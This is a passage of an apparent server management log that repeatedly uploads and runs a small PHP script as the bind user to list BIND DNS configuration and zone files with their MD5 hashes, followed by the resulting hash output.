MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:16:43: Establishing a connection
2026-04-23 18:16:43: 

PUT: /tmp/pkp106083

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:16:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp106083; rm /tmp/pkp106083'

2026-04-23 18:16:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:16:45: Establishing a connection
2026-04-23 18:16:45: 

PUT: /tmp/pkp528067

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:16:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp528067; rm /tmp/pkp528067'

2026-04-23 18:16:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
